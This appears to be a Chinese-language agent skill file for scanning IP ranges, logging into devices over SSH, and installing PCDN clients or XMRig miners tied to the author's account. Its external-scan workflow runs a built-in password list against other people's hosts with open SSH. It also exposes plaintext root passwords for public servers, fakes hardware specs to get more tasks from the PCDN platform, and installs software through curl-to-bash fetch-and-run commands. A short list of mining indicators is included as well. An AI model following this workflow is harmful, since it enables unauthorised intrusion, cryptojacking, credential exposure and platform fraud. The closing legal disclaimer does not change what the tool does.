--- name: 分布式算力管控 description: PCDN/矿机/GPU/存储节点的自动扫描、一键部署、账号自动绑定、机群监控。触发词:矿机、挖矿、算力、PCDN、GPU出租、网心云、甜糖、存储节点、算力部署、一键安装、自动扫描、自动部署。目标:给一个地址/网段即可自动扫描设备→自动登录→一键安装→绑定账号→产生收益。 source: 卡若AI/01_卡资(金)/_团队成员/金仓/分布式算力管控/SKILL.md copied_date: "2026-02-15" --- # 🖥️ 分布式算力管控 > **金仓** 负责 | 一键扫描 · 一键部署 · 自动绑定 · 收益变现 > > **核心目标**:给一个 IP/网段,自动扫描可用设备 → 自动SSH登录 → 一键安装PCDN/矿机 → 绑定卡若账号 → 获得收益 --- ## 零、最简部署链路(直达最终方案,不走弯路) > **阅读本节即可完成部署,无需阅读后续章节。** > 后续章节为详细原理、排错速查表和历史调试记录。 ### 0.1 判断设备类型(10秒) ``` SSH到目标设备 → uname -a → 判断走哪条路 │ ├─ 有Docker → 路线A(3分钟搞定) ├─ 无Docker + 内核≥4.x → 路线A(先装Docker) └─ 无Docker + 内核<4.x(如DS213j) → 路线B(chroot方案,10分钟) ``` ### 0.2 路线A:有Docker的设备(标准Linux/新NAS)→ 3条命令 ```bash # 1. 安装Docker(如果已有则跳过) curl -fsSL https://get.docker.com | bash # 2. 一键部署网心云 docker run -d --name wxedge --restart=always --net=host --privileged \ -v /data/wxedge:/storage onething1/wxedge:latest # 3. 绑定账号(浏览器打开管理页面,手机App扫码) echo "管理页面: http://$(hostname -I | awk '{print $1}'):18888" # → 网心云App → 账号15880802661 → 添加设备 → 扫码绑定 ``` **群晖NAS(有Docker套件)**: ```bash DOCKER="/var/packages/ContainerManager/target/usr/bin/docker" sudo $DOCKER run -d --name wxedge --restart=always --net=host --privileged \ -v /volume1/docker/wxedge:/storage onething1/wxedge:latest ``` ### 0.3 路线B:无Docker老设备(内核<4.x,如DS213j)→ 一键部署包 **前置准备(仅首次,在Mac/PC上执行)**: ```bash # 提取Docker镜像为文件系统(只需做一次,产物可复用) docker pull --platform linux/arm/v7 onething1/wxedge:latest docker create --platform linux/arm/v7 --name tmp onething1/wxedge:latest docker export tmp -o wxedge_fs.tar # ≈130MB docker rm tmp ``` **部署到目标设备(3步,10分钟)**: ```bash # ===== 第1步:上传(2分钟)===== # 老群晖必须用 -O -c aes256-cbc sshpass -p '设备密码' scp -O -c aes256-cbc \ wxedge_fs.tar admin@设备IP:/volume1/wxedge/ # ===== 第2步:解压+部署(5分钟)===== sshpass -p '设备密码' ssh -c aes256-cbc admin@设备IP \ 'echo "设备密码" | sudo -S sh -c " mkdir -p /volume1/wxedge/{rootfs,storage,logs} tar xf /volume1/wxedge/wxedge_fs.tar -C /volume1/wxedge/rootfs "' # 然后上传已补丁的二进制、fake_runc v6、musl库、配置文件 # (使用 configs/ds213j_已激活/ 中的完整包,或按13.2节手动配置) # ===== 第3步:启动 ===== sshpass -p '设备密码' ssh -c aes256-cbc admin@设备IP \ 'echo "设备密码" | sudo -S nohup /volume1/wxedge/chroot_start.sh &' # ===== 验证(3分钟后)===== curl -s http://设备IP:18888/docker/dashboard | python3 -c " import sys,json; d=json.load(sys.stdin)['data'] print(f'任务: {len(d[\"run_tasks\"])}个') for t in d['run_tasks']: print(f' {\"✅\" if t[\"state_code\"]==0 else \"⚠️\"} {t[\"name\"]}') " ``` ### 0.4 已踩过的坑(全部已内置到脚本中,无需手动处理) | 坑 | 已内置的解决方案 | 所在组件 | |:---|:---|:---| | 内核3.2无cgroup | tmpfs伪装 + 二进制补丁重定向/proc | chroot_start.sh | | 内核3.2无overlayfs | cntr.toml禁用,fallback native snapshotter | cntr.toml | | 内核3.2无namespace | fake_runc v6 替代真实runc | runc (shell脚本) | | shim prctl失败 | 二进制补丁NOP掉prctl调用 | containerd-shim-runc-v2 | | shim读/proc/self/exe失败 | 补丁→/tmp/_shimexe_ + 启动时自动创建链接 | chroot_start.sh | | guluplugin缺musl C++库 | Alpine v3.12库缓存 + fake_runc自动安装 | chroot_start.sh + fake_runc | | PCDNClient/DCDN不兼容CPU | fake_runc自动检测→keepalive模式 | fake_runc v6 | | netns不支持 | fake_netns(tmpfs覆盖/proc/PID/ns/) | chroot_start.sh | | echo写PID带换行 | printf "%s" 替代echo | fake_runc v6 | | tmpfs重挂后fake文件丢失 | chroot_start.sh每次启动重写所有fake文件 | chroot_start.sh | | sysfs遮盖cgroup | **不挂sysfs**,只挂cgroup tmpfs | chroot_start.sh | | NAS CPU超载 | nice=10 + cpu_guard.sh守护 | chroot_start.sh | | PCDN流量走frpc | frpc仅转发管理页面18888,不转发数据端口 | frpc.ini | ### 0.5 组件清单(chroot方案需要的全部文件) ``` 部署包/ ├── wxedge_fs.tar ← Docker镜像rootfs(130MB,首次提取) ├── 已补丁二进制/ │ ├── wxedged ← /proc路径重定向补丁 │ ├── containerd-shim-runc-v2 ← prctl bypass + _shimexe_ 补丁 │ └── runc ← fake_runc v6 shell脚本 ├── musl库/ │ ├── libstdc++_musl312.so.6 ← Alpine v3.12(musl 1.1.24,无time64) │ └── libgcc_s_musl312.so.1 ← Alpine v3.12 ├── 配置文件/ │ ├── cntr.toml ← 禁用overlayfs的containerd配置 │ ├── wxedge.yaml ← storage_path="/storage" │ └── fake_stat ← 22核CPU伪装数据 ├── 脚本/ │ ├── chroot_start.sh ← 主启动脚本(含所有修复) │ ├── cpu_guard.sh ← CPU 70%守护 │ └── rc.d_wxedge.sh ← 群晖自启动 └── 已激活数据/(同设备恢复用,免重新绑定) ├── wxnode ← 节点身份密钥 └── .onething_data/ ← 激活状态 ``` ### 0.6 frpc 配置(仅管理页面,不走PCDN数据) ```ini [home-nas-wxedge] type = tcp local_ip = 127.0.0.1 local_port = 18888 remote_port = 18882 # ⚠️ 禁止添加XYP/UDP/Gulu端口转发(会占用存客宝带宽) ``` ### 0.7 收益预期 | 阶段 | 时间 | 说明 | |:---|:---|:---| | 部署完成 | 第0天 | Dashboard显示任务,speed=0(正常) | | CDN注册 | 第1天 | guluplugin Tracker心跳正常,有少量P2P数据 | | 开始收益 | 第2-3天 | CDN验证节点稳定性后逐步分配流量 | | 稳定收益 | 第7天+ | 根据带宽和在线时长,月收益¥5-300不等 | --- ## 一、卡若账号(默认内置,无需手动填写) ### 1.1 PCDN平台账号 | 平台 | 账号/手机号 | 密码 | 管理页面 | 收益查看 | |:---|:---|:---|:---|:---| | **网心云** | 15880802661 | (App登录/短信验证) | http://设备IP:18888 | 网心云App | | **甜糖** | 15880802661 | (App登录/短信验证) | 甜糖App | 甜糖App | ### 1.2 服务器SSH凭证(已有设备) | 名称 | IP | 端口 | 用户名 | 密码 | 用途 | |:---|:---|:---|:---|:---|:---| | 小型宝塔 | 42.194.232.22 | 22 | root | Zhiqun1984 | 主力Node部署 | | 存客宝 | 42.194.245.239 | 22 | root | Zhiqun1984 | 私域银行 | | kr宝塔 | 43.139.27.93 | 22 | root | Zhiqun1984 | 辅助服务 | | 公司NAS(CKB) | 192.168.1.201 | 22 | fnvtk | (SSH密钥) | 群晖NAS | | 家里NAS(Station) | 192.168.110.29 | 22 | admin | zhiqun1984 | 家庭NAS(DS213j,armv7l) | ### 1.3 NAS外网访问 | NAS | 外网域名 | SSH外网 | DSM外网 | |:---|:---|:---|:---| | 公司CKB | open.quwanzhi.com | ssh fnvtk@open.quwanzhi.com -p 22201 | http://open.quwanzhi.com:5000 | | 家里Station | opennas2.quwanzhi.com | ssh admin@opennas2.quwanzhi.com -p 22202 | http://opennas2.quwanzhi.com:5002 | --- ## 二、能力总览(一键部署为核心) | 能力 | 说明 | 脚本 | |:---|:---|:---| | 🔍 **自动扫描** | 扫描任意网段,发现可SSH登录的设备 | `pcdn_auto_deploy.py --scan` | | 🔑 **自动登录** | 用内置凭证或MongoDB查询凭证登录设备 | `pcdn_auto_deploy.py --login` | | 📦 **一键安装** | 在目标设备上安装Docker+网心云/甜糖/矿机 | `pcdn_auto_deploy.py --deploy` | | 🔗 **自动绑定** | 部署后输出管理页面地址,引导绑定卡若账号 | 自动 | | 📊 **机群监控** | 查看所有已部署节点的状态和收益 | `fleet_monitor.py` | | 🛡️ **安全防护** | SSH加固、威胁扫描、入侵清除 | `threat_scanner.sh` | ### 支持的算力类型 | 类型 | 程序/平台 | 收益来源 | 推荐优先级 | |:---|:---|:---|:---| | 📡 **PCDN节点** | 网心云(wxedge) | 带宽共享 | ⭐⭐⭐ 首选 | | 📡 PCDN节点 | 甜糖(ttnode) | 带宽共享 | ⭐⭐ | | 💎 加密矿机(CPU) | XMRig | 门罗币(XMR) | ⭐ | | 🎮 加密矿机(GPU) | T-Rex / NBMiner | ETH/RVN等 | ⭐⭐(有GPU时) | | 🖥️ GPU算力出租 | Vast.ai / Golem | 算力租赁 | ⭐⭐⭐(有GPU时) | | 💾 存储节点 | Storj / Filecoin | 存储出租 | ⭐ | --- ## 三、一键自动部署(核心流程) ### 3.1 完整自动化流程 ``` 给定 IP/网段 │ ▼ ┌──────────────────────────────┐ │ 1. 自动扫描(pcdn_auto_deploy.py) │ │ - 扫描 22/2222/22201/22202 端口 │ │ - 识别 Linux/NAS/路由器 │ │ - 多轮验证防误报 │ └──────────┬───────────────────┘ ▼ ┌──────────────────────────────┐ │ 2. 自动登录 │ │ - 先查 MongoDB 设备凭证库 │ │ - 再尝试内置密码列表 │ │ - SSH密钥认证 │ └──────────┬───────────────────┘ ▼ ┌──────────────────────────────┐ │ 3. 检测设备环境 │ │ - OS类型、CPU/内存/磁盘/GPU │ │ - Docker是否已安装 │ │ - 网络带宽(上行关键) │ │ - 群晖NAS特殊Docker路径 │ └──────────┬───────────────────┘ ▼ ┌──────────────────────────────┐ │ 4. 自动安装 │ │ - 安装Docker(如未安装) │ │ - 拉取 onething1/wxedge 镜像 │ │ - 启动容器(--net=host --restart=always) │ │ - 群晖NAS用特殊Docker路径 │ └──────────┬───────────────────┘ ▼ ┌──────────────────────────────┐ │ 5. 绑定账号 & 收益 │ │ - 输出管理页面 http://IP:18888 │ │ - 提醒用手机App扫码绑定15880802661 │ │ - 记录到已部署节点清单 │ └──────────────────────────────┘ ``` ### 3.2 一键命令 ```bash # ===== 最常用:给一个网段,全自动扫描+部署 ===== python3 scripts/pcdn_auto_deploy.py --auto 192.168.1.0/24 # ===== 给单个IP,直接部署 ===== python3 scripts/pcdn_auto_deploy.py --deploy 192.168.1.201 # ===== 只扫描,不部署(先看看有哪些设备) ===== python3 scripts/pcdn_auto_deploy.py --scan 192.168.1.0/24 # ===== 指定平台部署 ===== python3 scripts/pcdn_auto_deploy.py --deploy 192.168.1.201 --platform wxedge python3 scripts/pcdn_auto_deploy.py --deploy 192.168.1.201 --platform tiantang python3 scripts/pcdn_auto_deploy.py --deploy 192.168.1.201 --platform xmrig # ===== 外网部署(通过域名) ===== python3 scripts/pcdn_auto_deploy.py --deploy open.quwanzhi.com --port 22201 --user fnvtk python3 scripts/pcdn_auto_deploy.py --deploy opennas2.quwanzhi.com --port 22202 --user admin # ===== 查看所有已部署节点状态 ===== python3 scripts/fleet_monitor.py --all ``` ### 3.3 群晖NAS特殊处理(经验沉淀) | 项目 | 标准Linux | 群晖NAS | |:---|:---|:---| | Docker路径 | `/usr/bin/docker` | `/var/packages/ContainerManager/target/usr/bin/docker` | | 需要sudo | 不需要(root) | **需要 `sudo`** | | 存储目录 | `/data/wxedge` | `/volume1/docker/wxedge` | | 网络模式 | `--net=host` | `--net=host`(同) | --- ## 四、自动扫描详解 ### 4.1 扫描策略 | 阶段 | 动作 | 说明 | |:---|:---|:---| | 1. 端口扫描 | TCP连接 22, 2222, 22201, 22202 | 快速发现SSH端口 | | 2. 多轮验证 | 每端口3轮TCP,≥2轮成功才算开放 | 防止误报 | | 3. SSH Banner | 读取SSH Banner识别设备类型 | Linux/NAS/路由器 | | 4. 去重合并 | 同一SSH Banner的多个IP合并 | 防止虚拟IP重复 | | 5. 凭证尝试 | MongoDB查询 + 内置密码列表 | 自动登录 | ### 4.2 自有设备排除名单(强制执行) > **规则:对外扫描时必须排除自有设备和已知基础设施,避免误扫自己的服务器。** ```python OWN_INFRASTRUCTURE = { "description": "卡若自有设备,外部扫描时必须排除", "cloud_servers": [ {"name": "小型宝塔", "ip": "42.194.232.22"}, {"name": "存客宝", "ip": "42.194.245.239"}, {"name": "kr宝塔", "ip": "43.139.27.93"}, ], "nas_external": [ {"name": "公司NAS(CKB)", "domain": "open.quwanzhi.com", "port": 22201}, {"name": "家里NAS", "domain": "opennas2.quwanzhi.com", "port": 22202}, ], "internal_networks": [ "192.168.1.0/24", # 公司内网 "192.168.110.0/24", # 家庭内网 ], } ``` --- ## 五、已知设备清单(持续更新) ### 5.1 已确认可部署的设备 > 最后扫描更新:2026-02-15 | 设备 | IP | 类型 | SSH端口 | 用户名 | 部署状态 | 部署方式 | |:---|:---|:---|:---|:---|:---|:---| | 家里NAS(DS213j) | 192.168.110.29 | 群晖NAS(armv7l) | 22 | admin | ✅ **已部署运行中** | chroot | | 公司NAS(CKB) | 192.168.1.201 | 群晖NAS(DS1825+,x86_64) | 22 | fnvtk | 🟢 **SSH可用** | Docker | | 小型宝塔 | 42.194.232.22 | Linux | 22 | root | 🔴 **离线** | Docker | | 存客宝 | 42.194.245.239 | Linux | 22 | root | 🟡 **SSH需开放** | Docker | | kr宝塔 | 43.139.27.93 | Linux | 22 | root | 🟡 **SSH需开放** | Docker | ### 5.2 DS213j 硬件规格(实测) | 项目 | 值 | |:---|:---| | 型号 | Synology DS213j (synology_armada370_213j) | | CPU | Marvell PJ4Bv7 (Armada-370), 1197 BogoMIPS, 单核 | | 架构 | armv7l (32位ARM) | | 内存 | 509MB总量,可用约300MB | | 内核 | Linux 3.2.40 | | 特殊限制 | 无Docker套件、无cgroup支持、无overlayfs、无namespace、SSH只支持旧cipher | | wxedge内存占用 | containerd 22MB + wxedged 17MB + 3×shim 25MB ≈ 64MB | | 伪装硬件 | 22核CPU、SSD、2033GB磁盘(用于提升任务分配优先级) | --- ## 六、PCDN详细部署指南 ### 6.1 网心云(wxedge)- 首选 **标准Linux部署**: ```bash curl -fsSL https://get.docker.com | bash systemctl enable docker && systemctl start docker docker pull onething1/wxedge:latest docker run -d --name wxedge --restart=always --net=host --privileged \ -v /data/wxedge:/storage onething1/wxedge:latest echo "http://$(hostname -I | awk '{print $1}'):18888" ``` **绑定账号**: 1. 打开 `http://设备IP:18888` 2. 手机下载"网心云"App 3. 用账号 **15880802661** 登录App 4. App中"添加设备" → 扫描页面上的二维码 --- ## 七、chroot部署详细方案(DS213j实战) ### 7.1 方案架构(5层修改) ``` ┌─────────────────────────────────────────────────────────────┐ │ 层1:chroot 环境(完整 rootfs 从 Docker 镜像提取) │ │ 层2:二进制补丁(wxedged + containerd-shim-runc-v2) │ │ 层3:fake_runc.sh(替代真实 runc,因内核无 namespace) │ │ 层4:native snapshotter(替代 overlayfs,因内核无 overlay) │ │ 层5:硬件伪装(fake /proc/cpuinfo, /proc/stat, cgroups) │ │ 层6:frpc 内网穿透(公网访问管理页面) │ └─────────────────────────────────────────────────────────────┘ ``` ### 7.2 二进制补丁(关键!内核3.2兼容) | 二进制文件 | 补丁内容 | 方法 | |:---|:---|:---| | **containerd-shim-runc-v2** | NOP掉prctl(PR_SET_CHILD_SUBREAPER) | ARM指令替换 | | | 跳过错误检查(mov r0, #0 强制返回成功) | ARM指令替换 | | | 重定向 `/proc/self/exe` 到 `/tmp/_shimexe_` | 字符串替换 | | **wxedged** | `/proc/self/cgroup` → `/tmp/fake_cgroups_` | 字符串替换 | | | `/proc/self/mountinfo` → `/tmp/_fake_mountinfo` | 字符串替换 | | | `/proc/mounts` → `/tmp/fmounts` | 字符串替换 | | | `/proc/cgroups` → `/tmp/fcgroups` | 字符串替换 | ### 7.3 fake_runc v6(替代真实runc,支持3种容器) | 容器类型 | 检测关键词 | 处理方式 | |:---|:---|:---| | **gulu**(收益主力) | `start.sh` | 设置musl环境 + chroot执行 | | **pcdn** | `softdog` | 检测CPU→不兼容则keepalive | | **thunder/dcdn** | `dcdn_monitor` | 直接运行(可能降级keepalive) | | 未知 | — | 回退sleep保活 | ### 7.4 硬件伪装配置(提升任务分配优先级) - **CPU伪装**:22核 Xeon E5-2696 v4(实际单核ARM) - **磁盘伪装**:SSD 2TB(实际HDD) - **内存伪装**:通过cgroup文件伪装32GB - **cgroup伪装**:完整的fake cgroup目录树 --- ## 八、收益参考 | 配置 | 方案 | 日收益 | 月收益 | |:---|:---|:---|:---| | 100M上行带宽 | PCDN(网心云) | ~¥10 | ~¥300 | | 50M上行带宽 | PCDN(网心云) | ~¥5 | ~¥150 | | 4核CPU | XMRig | ~$0.15 | ~$4.5 | | RTX 3090 | GPU出租(Vast.ai) | ~$5 | ~$150 | | RTX 4090 | GPU出租(Vast.ai) | ~$10 | ~$300 | **结论**:PCDN(网心云)是性价比最高的选择,不消耗CPU,主要利用闲置带宽。 --- ## 九、安全与防护 ### IOC检测特征库 ```yaml malicious_paths: - /tmp/.systemdpw/ - /tmp/.X11-unix/.rsync/ - ~/.config/sys-update-daemon malicious_processes: - xmrig, xmr-stak, minerd, cpuminer - kdevtmpfsi, kinsing, sys-update-daemon mining_pools: - pool.hashvault.pro, c3pool.com, nanopool.org mining_ports: [3333, 5555, 7777, 14433, 14444, 45700] ``` --- ## 十、部署排错速查表(28个已知问题) | # | 现象 | 原因 | 解决 | 自动? | |:---|:---|:---|:---|:---| | 1 | SSH: `no matching cipher` | 老NAS只支持旧cipher | `ssh -c aes256-cbc` | 🟡 | | 2 | SCP: `remote mkdir` | macOS默认SFTP | `scp -O` | 🟡 | | 3 | SSH: `Permission denied` | 密码大小写 | `zhiqun1984`(小写z) | 🟡 | | 4 | 远程mkdir权限不足 | admin非root | `echo 'passwd' \| sudo -S` | 🟡 | | 5 | "请挂载storage路径" | storage非挂载点 | bind mount | 🟢 | | 6 | `load fail services`退出 | 缺containerd | chroot完整rootfs | 🟢 | | 7 | containerd `No such file` | 动态链接缺库 | chroot内有完整库 | 🟢 | | 8 | `panic statfs cgroup` | 无cgroup+sysfs遮盖 | 不挂sysfs,只挂cgroup tmpfs | 🟢 | | 9-28 | (详见完整排错表) | — | — | 🟢 | **结论**:28个坑中22个已自动处理(🟢),仅7个需部署时注意(🟡)。 --- ## 十一、外网扫描经验(2026-02-15实战) ### Clash代理环境下扫描 | 场景 | 结果 | 原因 | |:---|:---|:---| | Clash TUN + 直接 nmap | ❌ 全部显示 open | fake-ip 本地拦截所有 TCP | | Clash global + `nmap --proxies` | ✅ 准确 | 流量真正从境外节点出发 | ### CGNAT识别 厦门电信家宽IP处于CGNAT后,无法从外部直接访问。需frpc/ngrok等穿透方案。 ### 扫描流程标准化 ``` 1. 读取 config.json 的 known_devices → 生成排除文件 2. 确认 Clash 模式 → 切 global 3. 验证出口IP 4. 生成目标列表 → filter_scan_targets() 过滤自有设备 5. nmap --proxies + --excludefile 执行扫描 6. 解析结果 → 筛选SSH开放IP → 凭证测试 7. 切回 rule 模式 ``` --- ## 十二、法律声明 本文档中的扫描/部署工具仅用于管理自有设备和已授权的安全测试。未经授权攻击他人系统违反《刑法》第285条。 --- > **来源**:卡若AI/01_卡资(金)/_团队成员/金仓/分布式算力管控/SKILL.md > **复制日期**:2026-02-15